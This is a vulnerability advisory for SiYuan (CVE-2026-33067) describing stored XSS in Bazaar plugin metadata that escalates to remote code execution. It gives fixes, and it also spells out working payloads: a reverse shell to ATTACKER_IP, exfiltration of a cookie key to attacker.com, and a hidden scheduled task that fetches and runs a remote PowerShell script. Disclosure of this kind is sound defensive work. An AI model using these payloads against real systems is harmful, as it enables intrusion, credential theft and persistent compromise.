GHSA-MVPM-V6Q4-M2PF

Vulnerability from github – Published: 2026-03-18 16:09 – Updated: 2026-03-20 21:23
VLAI?
Summary
SiYuan has Stored XSS to RCE via Unsanitized Bazaar Package Metadata
Details

Stored XSS to RCE via Unsanitized Bazaar Package Metadata

Summary

SiYuan's Bazaar (community marketplace) renders package metadata fields (displayName, description) using template literals without HTML escaping. A malicious package author can inject arbitrary HTML/JavaScript into these fields, which executes automatically when any user browses the Bazaar page. Because SiYuan's Electron configuration enables nodeIntegration: true with contextIsolation: false, this XSS escalates directly to full Remote Code Execution on the victim's operating system — with zero user interaction beyond opening the marketplace tab.

Affected Component

  • Metadata rendering: app/src/config/bazaar.ts:275-277
  • Electron config: app/electron/main.js:422-426 (nodeIntegration: true, contextIsolation: false)

Affected Versions

  • SiYuan <= 3.5.9

Severity

Critical — CVSS 9.6 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)

  • CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)

Vulnerable Code

In app/src/config/bazaar.ts:275-277, package metadata is injected directly into HTML templates without escaping:

// Package name injected directly — NO escaping
${item.preferredName}${item.preferredName !== item.name
    ? ` <span class="ft__on-surface ft__smaller">${item.name}</span>` : ""}

// Package description — title attribute uses escapeAttr(), but text content does NOT
<div class="b3-card__desc" title="${escapeAttr(item.preferredDesc) || ""}">
    ${item.preferredDesc || ""}  <!-- UNESCAPED HTML -->
</div>

The inconsistency is notable: the title attribute is escaped via escapeAttr(), but the actual rendered text content is not — indicating the risk was partially recognized but incompletely mitigated.

The Electron renderer at app/electron/main.js:422-426 is configured with:

webPreferences: {
    nodeIntegration: true,
    contextIsolation: false,
    // ...
}

This means any JavaScript executing in the renderer process has direct access to Node.js APIs including require('child_process'), require('fs'), and require('os').

Proof of Concept

Step 1: Create a malicious plugin manifest

Create a GitHub repository with a valid SiYuan plugin structure. In plugin.json:

{
    "name": "helpful-productivity-plugin",
    "displayName": {
        "default": "Helpful Plugin<img src=x onerror=\"require('child_process').exec('calc.exe')\">"
    },
    "description": {
        "default": "Boost your productivity with smart templates"
    },
    "version": "1.0.0",
    "author": "attacker",
    "url": "https://github.com/attacker/helpful-productivity-plugin",
    "minAppVersion": "2.0.0"
}

Step 2: Submit to Bazaar

Submit the repository to the SiYuan Bazaar community marketplace via the standard contribution process (pull request to the bazaar index repository).

Step 3: Zero-click RCE

When any SiYuan desktop user navigates to Settings > Bazaar > Plugins, the package listing renders the malicious displayName. The <img src=x> tag fails to load, firing the onerror handler, which calls require('child_process').exec('calc.exe').

No click is required. The payload executes the moment the Bazaar page loads and the package card is rendered in the DOM.

Escalation: Reverse shell

{
    "displayName": {
        "default": "Helpful Plugin<img src=x onerror=\"require('child_process').exec('bash -c \\\"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\\\"')\">"
    }
}

Escalation: Data exfiltration (API token theft)

{
    "displayName": {
        "default": "<img src=x onerror=\"fetch('https://attacker.com/exfil?token='+require('fs').readFileSync(require('path').join(require('os').homedir(),'.config/siyuan/cookie.key'),'utf8'))\">"
    }
}

Escalation: Silent persistence (Windows)

{
    "displayName": {
        "default": "<img src=x onerror=\"require('child_process').exec('schtasks /create /tn SiYuanUpdate /tr \\\"powershell -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(\\\\\\\"https://attacker.com/payload.ps1\\\\\\\")\\\" /sc onlogon /rl highest /f')\">"
    }
}

Attack Scenario

  1. Attacker creates a legitimate-looking GitHub repository with a SiYuan plugin/theme/template.
  2. Attacker submits it to the SiYuan Bazaar via the standard community contribution process.
  3. The plugin.json manifest contains an XSS payload in the displayName or description field.
  4. When any SiYuan desktop user opens the Bazaar tab, the malicious package card renders the unescaped metadata.
  5. The injected <img onerror> (or <svg onload>, <details ontoggle>, etc.) fires automatically.
  6. JavaScript executes in the Electron renderer with full Node.js access (nodeIntegration: true).
  7. The attacker achieves arbitrary OS command execution — reverse shell, data exfiltration, persistence, ransomware, etc.

The user does not need to install, click, or interact with the malicious package in any way. Browsing the marketplace is sufficient.

Impact

  • Full remote code execution on any SiYuan desktop user who browses the Bazaar
  • Zero-click — payload fires on page load, no interaction required
  • Supply-chain attack — targets the entire SiYuan user community via the official marketplace
  • Can steal API tokens, session cookies, SSH keys, browser credentials, and arbitrary files
  • Can install persistent backdoors, scheduled tasks, or ransomware
  • Affects all platforms: Windows, macOS, Linux

Suggested Fix

1. Escape all package metadata in template rendering (bazaar.ts)

function escapeHtml(str: string): string {
    return str.replace(/&/g, '&amp;').replace(/</g, '&lt;')
              .replace(/>/g, '&gt;').replace(/"/g, '&quot;')
              .replace(/'/g, '&#039;');
}

// Apply to ALL user-controlled metadata before rendering
${escapeHtml(item.preferredName)}
<div class="b3-card__desc">${escapeHtml(item.preferredDesc || "")}</div>

2. Server-side sanitization in the Bazaar index pipeline

Sanitize metadata fields at the Bazaar index build stage so malicious content never reaches clients:

func sanitizePackageDisplayStrings(pkg *Package) {
    if pkg == nil {
        return
    }
    for k, v := range pkg.DisplayName {
        pkg.DisplayName[k] = html.EscapeString(v)
    }
    for k, v := range pkg.Description {
        pkg.Description[k] = html.EscapeString(v)
    }
}

3. Long-term: Harden Electron configuration

webPreferences: {
    nodeIntegration: false,
    contextIsolation: true,
    sandbox: true,
}
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260317012524-fe4523fff2c8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33067"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-18T16:09:34Z",
    "nvd_published_at": "2026-03-20T09:16:14Z",
    "severity": "MODERATE"
  },
  "details": "# Stored XSS to RCE via Unsanitized Bazaar Package Metadata\n\n## Summary\n\nSiYuan\u0027s Bazaar (community marketplace) renders package metadata fields (`displayName`, `description`) using template literals without HTML escaping. A malicious package author can inject arbitrary HTML/JavaScript into these fields, which executes automatically when any user browses the Bazaar page. Because SiYuan\u0027s Electron configuration enables `nodeIntegration: true` with `contextIsolation: false`, this XSS escalates directly to full Remote Code Execution on the victim\u0027s operating system \u2014 with zero user interaction beyond opening the marketplace tab.\n\n## Affected Component\n\n- **Metadata rendering**: `app/src/config/bazaar.ts:275-277`\n- **Electron config**: `app/electron/main.js:422-426` (`nodeIntegration: true`, `contextIsolation: false`)\n\n## Affected Versions\n\n- SiYuan \u003c= 3.5.9\n\n## Severity\n\n**Critical** \u2014 CVSS 9.6 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)\n\n- CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)\n\n## Vulnerable Code\n\nIn `app/src/config/bazaar.ts:275-277`, package metadata is injected directly into HTML templates without escaping:\n\n```typescript\n// Package name injected directly \u2014 NO escaping\n${item.preferredName}${item.preferredName !== item.name\n    ? ` \u003cspan class=\"ft__on-surface ft__smaller\"\u003e${item.name}\u003c/span\u003e` : \"\"}\n\n// Package description \u2014 title attribute uses escapeAttr(), but text content does NOT\n\u003cdiv class=\"b3-card__desc\" title=\"${escapeAttr(item.preferredDesc) || \"\"}\"\u003e\n    ${item.preferredDesc || \"\"}  \u003c!-- UNESCAPED HTML --\u003e\n\u003c/div\u003e\n```\n\nThe inconsistency is notable: the `title` attribute is escaped via `escapeAttr()`, but the actual rendered text content is not \u2014 indicating the risk was partially recognized but incompletely mitigated.\n\nThe Electron renderer at `app/electron/main.js:422-426` is configured with:\n\n```javascript\nwebPreferences: {\n    nodeIntegration: true,\n    contextIsolation: false,\n    // ...\n}\n```\n\nThis means any JavaScript executing in the renderer process has direct access to Node.js APIs including `require(\u0027child_process\u0027)`, `require(\u0027fs\u0027)`, and `require(\u0027os\u0027)`.\n\n## Proof of Concept\n\n### Step 1: Create a malicious plugin manifest\n\nCreate a GitHub repository with a valid SiYuan plugin structure. In `plugin.json`:\n\n```json\n{\n    \"name\": \"helpful-productivity-plugin\",\n    \"displayName\": {\n        \"default\": \"Helpful Plugin\u003cimg src=x onerror=\\\"require(\u0027child_process\u0027).exec(\u0027calc.exe\u0027)\\\"\u003e\"\n    },\n    \"description\": {\n        \"default\": \"Boost your productivity with smart templates\"\n    },\n    \"version\": \"1.0.0\",\n    \"author\": \"attacker\",\n    \"url\": \"https://github.com/attacker/helpful-productivity-plugin\",\n    \"minAppVersion\": \"2.0.0\"\n}\n```\n\n### Step 2: Submit to Bazaar\n\nSubmit the repository to the SiYuan Bazaar community marketplace via the standard contribution process (pull request to the bazaar index repository).\n\n### Step 3: Zero-click RCE\n\nWhen **any** SiYuan desktop user navigates to **Settings \u003e Bazaar \u003e Plugins**, the package listing renders the malicious `displayName`. The `\u003cimg src=x\u003e` tag fails to load, firing the `onerror` handler, which calls `require(\u0027child_process\u0027).exec(\u0027calc.exe\u0027)`.\n\n**No click is required.** The payload executes the moment the Bazaar page loads and the package card is rendered in the DOM.\n\n### Escalation: Reverse shell\n\n```json\n{\n    \"displayName\": {\n        \"default\": \"Helpful Plugin\u003cimg src=x onerror=\\\"require(\u0027child_process\u0027).exec(\u0027bash -c \\\\\\\"bash -i \u003e\u0026 /dev/tcp/ATTACKER_IP/4444 0\u003e\u00261\\\\\\\"\u0027)\\\"\u003e\"\n    }\n}\n```\n\n### Escalation: Data exfiltration (API token theft)\n\n```json\n{\n    \"displayName\": {\n        \"default\": \"\u003cimg src=x onerror=\\\"fetch(\u0027https://attacker.com/exfil?token=\u0027+require(\u0027fs\u0027).readFileSync(require(\u0027path\u0027).join(require(\u0027os\u0027).homedir(),\u0027.config/siyuan/cookie.key\u0027),\u0027utf8\u0027))\\\"\u003e\"\n    }\n}\n```\n\n### Escalation: Silent persistence (Windows)\n\n```json\n{\n    \"displayName\": {\n        \"default\": \"\u003cimg src=x onerror=\\\"require(\u0027child_process\u0027).exec(\u0027schtasks /create /tn SiYuanUpdate /tr \\\\\\\"powershell -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(\\\\\\\\\\\\\\\"https://attacker.com/payload.ps1\\\\\\\\\\\\\\\")\\\\\\\" /sc onlogon /rl highest /f\u0027)\\\"\u003e\"\n    }\n}\n```\n\n## Attack Scenario\n\n1. Attacker creates a legitimate-looking GitHub repository with a SiYuan plugin/theme/template.\n2. Attacker submits it to the SiYuan Bazaar via the standard community contribution process.\n3. The `plugin.json` manifest contains an XSS payload in the `displayName` or `description` field.\n4. When **any** SiYuan desktop user opens the Bazaar tab, the malicious package card renders the unescaped metadata.\n5. The injected `\u003cimg onerror\u003e` (or `\u003csvg onload\u003e`, `\u003cdetails ontoggle\u003e`, etc.) fires automatically.\n6. JavaScript executes in the Electron renderer with full Node.js access (`nodeIntegration: true`).\n7. The attacker achieves arbitrary OS command execution \u2014 reverse shell, data exfiltration, persistence, ransomware, etc.\n\n**The user does not need to install, click, or interact with the malicious package in any way.** Browsing the marketplace is sufficient.\n\n## Impact\n\n- **Full remote code execution** on any SiYuan desktop user who browses the Bazaar\n- **Zero-click** \u2014 payload fires on page load, no interaction required\n- **Supply-chain attack** \u2014 targets the entire SiYuan user community via the official marketplace\n- Can steal API tokens, session cookies, SSH keys, browser credentials, and arbitrary files\n- Can install persistent backdoors, scheduled tasks, or ransomware\n- Affects all platforms: Windows, macOS, Linux\n\n## Suggested Fix\n\n### 1. Escape all package metadata in template rendering (`bazaar.ts`)\n\n```typescript\nfunction escapeHtml(str: string): string {\n    return str.replace(/\u0026/g, \u0027\u0026amp;\u0027).replace(/\u003c/g, \u0027\u0026lt;\u0027)\n              .replace(/\u003e/g, \u0027\u0026gt;\u0027).replace(/\"/g, \u0027\u0026quot;\u0027)\n              .replace(/\u0027/g, \u0027\u0026#039;\u0027);\n}\n\n// Apply to ALL user-controlled metadata before rendering\n${escapeHtml(item.preferredName)}\n\u003cdiv class=\"b3-card__desc\"\u003e${escapeHtml(item.preferredDesc || \"\")}\u003c/div\u003e\n```\n\n### 2. Server-side sanitization in the Bazaar index pipeline\n\nSanitize metadata fields at the Bazaar index build stage so malicious content never reaches clients:\n\n```go\nfunc sanitizePackageDisplayStrings(pkg *Package) {\n    if pkg == nil {\n        return\n    }\n    for k, v := range pkg.DisplayName {\n        pkg.DisplayName[k] = html.EscapeString(v)\n    }\n    for k, v := range pkg.Description {\n        pkg.Description[k] = html.EscapeString(v)\n    }\n}\n```\n\n### 3. Long-term: Harden Electron configuration\n\n```javascript\nwebPreferences: {\n    nodeIntegration: false,\n    contextIsolation: true,\n    sandbox: true,\n}\n```",
  "id": "GHSA-mvpm-v6q4-m2pf",
  "modified": "2026-03-20T21:23:43Z",
  "published": "2026-03-18T16:09:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-mvpm-v6q4-m2pf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33067"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "SiYuan has Stored XSS to RCE via Unsanitized Bazaar Package Metadata"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…